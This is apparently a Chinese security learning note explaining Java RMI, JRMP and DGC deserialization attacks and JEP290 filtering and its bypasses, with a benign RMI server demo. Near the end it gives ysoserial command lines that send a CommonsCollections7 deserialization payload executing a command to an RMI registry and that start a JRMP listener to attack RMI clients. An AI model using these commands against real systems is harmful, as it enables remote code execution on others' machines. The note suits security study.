RMI学习笔记

前言

最近遇到很多RMI,LDAP,JRMP的利用方式,原理都不是很明白,现在来梳理一下。

RMI

RMI全称是Remote Method Invocation(远程⽅法调⽤),目的是为了让两个隔离的java虚拟机,如虚拟机A能够调用到虚拟机B中的对象,而且这些虚拟机可以不存在于同一台主机上。

RMI存在三个主体

  • RMI Registry:本质是一个 Map,存储键值对映射,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server的Registry是可以不在一个服务器上的,而在高版本的JDK中,只能在一个服务器上,否则没法注册成功。
  • RMI Client:客户端负责调用服务端的方法。
  • RMI Server:远程调用 的提供者,是代码真正执行的地方,执行结束返回给客户端一个执行的结果。image

RMI Registry就像⼀个网关,他是不会执行远程方法的,但RMI Server可以在上面注册⼀个Name到对象的绑定关系,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后,远程方法实际上在RMI Server上调用。

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);//实现Registry
}
public static void main(String[] args) throws Exception { new RMIServer().start();
}
}

这里就可以发现Registry和Server是写在一起的

这里通过一般的rmi攻击方式去解释一下流程。

  1. 先由Client发起对Registry的请求lookup(rmi://xxx.xxx.xxx/xxx)由于我们恶意的Registry已经注册了,指向了我们的恶意类上,然后返回server的地址端口。
  2. Client再发起对server的请求,开始正式调用远程方法这里会返回codebase的参数。
  3. 通过参数指定的地址去下载字节码,并且会实例化,那么恶意代码就会在实例化的时候被执行。

这种攻击rmi的方法只能在低版本的jdk实现

JRMP

jrmp是一种协议,rmi就是基于这个协议去传输的。我们一般通过jrmp去攻击的是DGC

分布式垃圾回收,又称DGC,RMI使用DGC来做垃圾回收,因为跨虚拟机的情况下要做垃圾回收没办法使用原有的机制。我们使用的远程对象只有在客户端和服务端都不受引用时才会结束生命周期。

而既然RMI依赖于DGC做垃圾回收,那么在RMI服务中必然会有DGC层,在yso中攻击DGC层对应的是JRMPClient,其实这里的攻击流程和攻击rmi的差不多yso中的实现主要是利用了报错信息返回的反序列化。通过反序列化先让目标机器发起对恶意服务器的rmi链接,然后通过jrmp返回反序列化的对象。这里反序列化的 是代理类,他会用代理类的反序列化方法去反序列化,一般的过滤方式拦不住这种底层的反序列化。具体原理就不当搬运工了,已经有很多师傅写的很清楚https://www.anquanke.com/post/id/197829#h2-16,https://redmango.top/article/70

但是,在jdk6u141, 7u131, 8u121之后,出现了JEP290规范之后,无论是DGC还是前面提到的bind等方法去攻击Registry的方式都失效了。

JEP290

官方将本属于JDK9的特性进行了向下兼容,于是在jdk6,7,8中也出现了这一特性,分别对应于jdk6u141, 7u131, 8u121之后的版本。

JEP290是为了过滤传入的序列化数据而产生的规范,开发者可通过配置自定义过滤器,全局过滤器或者使用内置过滤器来对传入的序列化数据做过滤。

其中在RMIRegistryImpl中采用了白名单机制来限制类:image-20211210231259412

具体可以看:https://xz.aliyun.com/t/10170

有过滤那就有绕过,bypass JEP290主要就是利用了jrmp去实现的,因为jep290是不限制客户端的反序列化的,于是就利用白名单中的类去发起链接来造成反序列化

绕过JEP290的姿势最高只能打到8u241,再高的版本都因为jep290的限制难以利用反序列化去攻击了

1
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient xxx.xxx.xxx.xxx:xxx

目前发现这种方式用来打rmi客户端很好使,版本限制少。

参考链接:

https://redmango.top/article/70

Java安全漫谈

JAVA RMI 反序列化流程原理分析

针对RMI服务的九重攻击 - 上

针对RMI服务的九重攻击 - 下

RMI-反序列化

rmi利用总结

浅谈Java RMI Registry安全问题

基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI

搞懂RMI、JRMP、JNDI-终结篇

attack-rmi-registry-and-server-with-socket

attacking-java-rmi-services-after-jep-290

Afant1-RemoteObjectInvocationHandler

浅谈JEP290

JEP290的基本概念

https://redmango.top/article/70

https://www.yuque.com/jinjinshigekeaigui/qskpi5/ep8409#tf1vp